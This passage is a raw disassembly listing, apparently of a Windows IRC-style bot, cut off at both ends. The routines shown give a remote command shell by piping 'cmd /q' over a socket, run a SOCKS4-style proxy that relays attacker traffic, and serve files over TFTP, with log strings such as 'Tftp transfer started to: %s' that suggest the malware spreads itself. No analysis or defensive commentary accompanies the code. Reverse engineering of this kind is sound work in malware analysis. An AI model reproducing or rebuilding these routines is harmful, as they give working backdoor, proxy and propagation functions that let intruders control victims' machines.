unk_434A18 call sub_415220 pop ecx pop ecx jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DC1: ; CODE XREF: sub_410CD5+D5j mov edi, dword_4270AC push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_410DF0 ; --------------------------------------------------------------------------- loc_410DD5: ; CODE XREF: sub_410CD5+D2j push ebx push dword ptr [esi+10h] jmp short loc_410DDF ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_410CD5+CFj push ebx push dword ptr [esi+14h] loc_410DDF: ; CODE XREF: sub_410CD5+104j call dword_4270AC ; TerminateThread push 1 push dword ptr [esi+8] call dword_4270F0 ; TerminateProcess loc_410DF0: ; CODE XREF: sub_410CD5+EAj ; sub_410CD5+FEj push dword ptr [esi+10h] mov edi, dword_427068 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4CB6CC ; closesocket push esi call sub_41B0B1 pop ecx push 1 pop eax loc_410E21: ; CODE XREF: sub_410CD5+A7j pop edi pop esi pop ebx leave retn sub_410CD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_41B4D5 mov esi, eax pop ecx cmp esi, edi jz loc_410F10 mov ebx, dword_4270FC lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, dword_427068 test eax, eax jnz short loc_410E89 call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_434AFC jmp short loc_410EA9 ; --------------------------------------------------------------------------- loc_410E89: ; CODE XREF: sub_410E26+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_410EB1 call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_434ABC loc_410EA9: ; CODE XREF: sub_410E26+61j call sub_415220 pop ecx jmp short loc_410EDF ; --------------------------------------------------------------------------- loc_410EB1: ; CODE XREF: sub_410E26+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_410F1F add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_410F14 push offset unk_434A94 call sub_4151AC loc_410EDF: ; CODE XREF: sub_410E26+89j cmp [ebp+var_4], 0 pop ecx jz short loc_410EEB push [ebp+var_4] call edi ; CloseHandle loc_410EEB: ; CODE XREF: sub_410E26+BEj cmp [ebp+var_8], 0 jz short loc_410EF6 push [ebp+var_8] call edi ; CloseHandle loc_410EF6: ; CODE XREF: sub_410E26+C9j mov eax, [esi] test eax, eax jz short loc_410EFF push eax call edi ; CloseHandle loc_410EFF: ; CODE XREF: sub_410E26+D4j mov eax, [esi+4] test eax, eax jz short loc_410F09 push eax call edi ; CloseHandle loc_410F09: ; CODE XREF: sub_410E26+DEj push esi call sub_41B0B1 pop ecx loc_410F10: ; CODE XREF: sub_410E26+1Dj xor eax, eax jmp short loc_410F1A ; --------------------------------------------------------------------------- loc_410F14: ; CODE XREF: sub_410E26+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410F1A: ; CODE XREF: sub_410E26+ECj pop edi pop esi pop ebx leave retn sub_410E26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F1F proc near ; CODE XREF: sub_410E26+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B590 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4270F8 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call dword_4270F4 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call dword_42706C ; CreateProcessA test eax, eax jz short loc_410FDB mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E578[eax], ecx call dword_427068 ; CloseHandle jmp short loc_410FF1 ; --------------------------------------------------------------------------- loc_410FDB: ; CODE XREF: sub_410F1F+9Aj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_434B3C call sub_415220 mov esi, [ebp+var_4] pop ecx pop ecx loc_410FF1: ; CODE XREF: sub_410F1F+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4270E8 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411021: ; CODE XREF: sub_410FF8+8Fj call ebx ; ReadFile test eax, eax jz short loc_411089 xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_41105C loc_411032: ; CODE XREF: sub_410FF8+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_41104C cmp dl, 0Dh jz short loc_41104C mov [ebp+eax+var_1B0], 0Dh inc eax loc_41104C: ; CODE XREF: sub_410FF8+44j ; sub_410FF8+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411032 loc_41105C: ; CODE XREF: sub_410FF8+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CB684 ; send test eax, eax jle short loc_411089 lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411021 ; --------------------------------------------------------------------------- loc_411089: ; CODE XREF: sub_410FF8+2Dj ; sub_410FF8+79j mov esi, dword_42708C call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_4110A5 call esi ; RtlGetLastWin32Error push eax push offset unk_434B7C call sub_415220 pop ecx pop ecx loc_4110A5: ; CODE XREF: sub_410FF8+9Cj pop edi pop esi pop ebx leave retn sub_410FF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4110AA proc near ; DATA XREF: sub_410CD5+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_4110C3: ; CODE XREF: sub_4110AA+39j ; sub_4110AA+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB64C ; recv test eax, eax jle loc_4111C8 cmp [ebp+var_10], ebx jbe short loc_4110E5 dec [ebp+var_10] jmp short loc_4110C3 ; --------------------------------------------------------------------------- loc_4110E5: ; CODE XREF: sub_4110AA+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_4111A8 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411155 cmp al, 7Fh jz short loc_411155 cmp al, 3 jnz short loc_411110 push ebx push ebx call dword_427128 ; GenerateConsoleCtrlEvent jmp short loc_41117C ; --------------------------------------------------------------------------- loc_411110: ; CODE XREF: sub_4110AA+5Aj cmp al, 15h jnz short loc_411132 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411132: ; CODE XREF: sub_4110AA+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411169 mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411168 ; --------------------------------------------------------------------------- loc_411155: ; CODE XREF: sub_4110AA+52j ; sub_4110AA+56j cmp esi, ebx jbe short loc_41117F dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411168: ; CODE XREF: sub_4110AA+86j ; sub_4110AA+A9j pop ecx loc_411169: ; CODE XREF: sub_4110AA+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CB684 ; send test eax, eax jle short loc_4111C8 loc_41117C: ; CODE XREF: sub_4110AA+64j mov al, byte ptr [ebp+arg_0+3] loc_41117F: ; CODE XREF: sub_4110AA+ADj cmp al, 0Dh jnz loc_4110C3 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call dword_4270E0 ; WriteFile test eax, eax jz short loc_4111C8 xor esi, esi jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111A8: ; CODE XREF: sub_4110AA+47j cmp [ebp+var_C], ebx jnz short loc_4111B9 mov [ebp+var_C], 1 jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111B9: ; CODE XREF: sub_4110AA+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_4110C3 ; --------------------------------------------------------------------------- loc_4111C8: ; CODE XREF: sub_4110AA+2Bj ; sub_4110AA+D0j ... pop edi pop esi pop ebx leave retn sub_4110AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111CD proc near ; DATA XREF: sub_401ACD+2C07o var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_4CB634 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_4CB6B4 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_43E57C[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4CB660 ; bind test eax, eax jnz loc_41136F push 0Ah push edi call dword_4CB65C ; listen test eax, eax jnz loc_41136F push [ebp+var_40] push [ebp+var_D4] call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2D4] push offset dword_42BF84 push eax call sub_41B886 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4112A8 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409A72 add esp, 14h loc_4112A8: ; CODE XREF: sub_4111CD+B9j ; sub_4111CD+172j ... lea eax, [ebp+var_2D4] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_4CB6C8 ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset dword_434C28 push eax call sub_41B886 push ebx lea eax, [ebp+var_2D4] push 19h push eax call sub_40B0F6 mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_43E574[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_4113D2 push esi push esi call dword_42707C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_43E584[ecx], eax jz short loc_41134F loc_41133C: ; CODE XREF: sub_4111CD+180j cmp [ebp+var_28], esi jnz loc_4112A8 push 5 call dword_427078 ; Sleep jmp short loc_41133C ; --------------------------------------------------------------------------- loc_41134F: ; CODE XREF: sub_4111CD+16Dj call dword_42708C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset dword_434BEC push eax call sub_41B886 add esp, 0Ch jmp loc_4112A8 ; --------------------------------------------------------------------------- loc_41136F: ; CODE XREF: sub_4111CD+7Bj ; sub_4111CD+8Cj push edi call dword_4CB6CC ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset dword_434BB8 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4113B2 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_409A72 add esp, 14h loc_4113B2: ; CODE XREF: sub_4111CD+1C3j lea eax, [ebp+var_2D4] push eax call sub_4151AC push [ebp+var_3C] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_4111CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4113D2 proc near ; DATA XREF: sub_4111CD+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_43E57C[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_4CB61C ; select test eax, eax jnz short loc_411453 push dword ptr [esi] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_411453: ; CODE XREF: sub_4113D2+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_4CB64C ; recv test eax, eax jg short loc_411484 push dword ptr [esi] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_411484: ; CODE XREF: sub_4113D2+98j cmp [ebp+var_4D0], 4 jnz loc_41167E cmp [ebp+var_4CF], 1 jnz loc_41167E cmp [ebp+var_44], bl jz short loc_41151A lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_41151A lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset dword_434CF0 call sub_415220 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_41B590 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CB684 ; send push dword ptr [esi] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_41151A: ; CODE XREF: sub_4113D2+CFj ; sub_4113D2+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_41B590 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_4CB6B4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4115B2 call dword_4CB5C8 ; WSAGetLastError push eax push offset dword_434CB0 call sub_415220 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41B590 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CB684 ; send push dword ptr [esi] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_4115B2: ; CODE XREF: sub_4113D2+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_4CB5DC ; connect cmp eax, 0FFFFFFFFh jnz short loc_411621 call dword_4CB5C8 ; WSAGetLastError push eax push offset dword_434C6C call sub_415220 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41B590 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CB684 ; send push dword ptr [esi] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_411621: ; CODE XREF: sub_4113D2+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CB684 ; send push dword ptr [esi] push edi call sub_411696 pop ecx pop ecx push edi call dword_4CB6CC ; closesocket push dword ptr [esi] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread loc_41167E: ; CODE XREF: sub_4113D2+B9j ; sub_4113D2+C6j push dword ptr [esi] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push ebx call dword_4270CC ; ExitThread sub_4113D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411696 proc near ; CODE XREF: sub_4113D2+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4116AC: ; CODE XREF: sub_411696+C5j ; sub_411696+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4116C4: ; CODE XREF: sub_411696+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4116D4 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4116C4 loc_4116D4: ; CODE XREF: sub_411696+33j cmp ecx, 1 jnz short loc_4116E9 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_4116E9: ; CODE XREF: sub_411696+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4CB61C ; select lea eax, [ebp+var_104] push eax push ebx call dword_4CB520 ; __WSAFDIsSet test eax, eax jz short loc_411749 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_4CB64C ; recv cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jz short loc_411791 loc_411749: ; CODE XREF: sub_411696+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4CB520 ; __WSAFDIsSet test eax, eax jz loc_4116AC push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_4CB64C ; recv cmp eax, 0FFFFFFFFh jz short loc_411791 push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jnz loc_4116AC loc_411791: ; CODE XREF: sub_411696+9Aj ; sub_411696+B1j ... pop edi pop esi pop ebx leave retn sub_411696 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411796 proc near ; CODE XREF: sub_411796:loc_411C07p ; DATA XREF: sub_401ACD+210Do ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = byte ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h var_574 = byte ptr -574h var_374 = dword ptr -374h var_370 = byte ptr -370h var_26C = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh var_50 = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi push edi push 1 xor ebx, ebx pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4CB6B4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_411836 push 190h call dword_427078 ; Sleep cmp [ebp+var_D8], ebx jnz short loc_411816 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409A72 add esp, 14h loc_411816: ; CODE XREF: sub_411796+5Bj lea eax, [ebp+var_778] push eax call sub_4151AC push [ebp+var_168] call sub_40B412 pop ecx pop ecx push ebx call dword_4270CC ; ExitThread loc_411836: ; CODE XREF: sub_411796+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4CB614 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4CB614 ; setsockopt mov eax, [ebp+var_168] push 10h imul eax, 234h push ebx mov dword_43E57C[eax], esi lea eax, [ebp+var_2C] push eax call sub_41B590 add esp, 0Ch mov [ebp+var_2C], 2 push [ebp+var_160] call dword_4CB634 ; htons mov [ebp+var_2A], ax lea eax, [ebp+var_2C] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4CB660 ; bind cmp eax, 0FFFFFFFFh jnz short loc_4118C0 push 1388h call dword_427078 ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_411C07 ; --------------------------------------------------------------------------- loc_4118C0: ; CODE XREF: sub_411796+10Fj lea eax, [ebp+var_370] push offset dword_429068 push eax call sub_41B4C2 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_411926 push 190h call dword_427078 ; Sleep push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409A72 lea eax, [ebp+var_778] push eax call sub_4151AC push [ebp+var_168] call sub_40B412 add esp, 1Ch push ebx call dword_4270CC ; ExitThread loc_411926: ; CODE XREF: sub_411796+142j ; sub_411796+42Bj mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_411BCA mov edi, 80h lea eax, [ebp+var_D0] push edi push ebx push eax mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4CB61C ; select test eax, eax jle loc_411BBE mov al, byte_43D7E8 mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4CB60C ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_50] push eax call sub_41B886 cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_411BA8 cmp [ebp+var_CF], 1 jnz loc_411AAE lea eax, [ebp+var_26C] push eax call sub_41AFE0 push ebx push ebx push [ebp+var_4] call sub_41D1EC push [ebp+var_4] lea eax, [ebp+var_574] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h push 1 push eax mov [ebp+var_576], bl mov [ebp+var_575], 1 call sub_41B11A add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CB698 ; sendto lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferSt ; "Tftp transfer started to: %s" push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_411A9C push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409A72 add esp, 14h loc_411A9C: ; CODE XREF: sub_411796+2E1j lea eax, [ebp+var_778] push eax call sub_4151AC pop ecx jmp loc_411BBE ; --------------------------------------------------------------------------- loc_411AAE: ; CODE XREF: sub_411796+257j cmp [ebp+var_CF], 4 jnz loc_411BA8 mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_411AEB inc al xor cl, cl mov [ebp+var_576], al mov [ebp+var_575], bl jmp short loc_411AF9 ; --------------------------------------------------------------------------- loc_411AEB: ; CODE XREF: sub_411796+341j inc cl mov [ebp+var_576], al mov [ebp+var_575], cl loc_411AF9: ; CODE XREF: sub_411796+353j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx mov edi, 200h shl eax, 9 sub eax, edi push ebx push eax push [ebp+var_4] call sub_41D1EC push [ebp+var_4] lea eax, [ebp+var_574] push edi push 1 push eax call sub_41B11A add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4CB698 ; sendto cmp edi, ebx jnz short loc_411BBE lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferCo ; "Tftp transfer complete to: %s" push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_411B93 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_409A72 add esp, 14h loc_411B93: ; CODE XREF: sub_411796+3D8j lea eax, [ebp+var_778] push eax call sub_4151AC inc dword_4CE13C pop ecx jmp short loc_411BBE ; --------------------------------------------------------------------------- loc_411BA8: ; CODE XREF: sub_411796+24Aj ; sub_411796+31Fj push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_434D30 push esi call dword_4CB698 ; sendto loc_411BBE: ; CODE XREF: sub_411796+1E9j ; sub_411796+313j ... cmp [ebp+var_8], ebx jg loc_411926 mov edi, [ebp+arg_0] loc_411BCA: ; CODE XREF: sub_411796+199j push esi call dword_4CB6CC ; closesocket push [ebp+var_4] call sub_41B05B dec 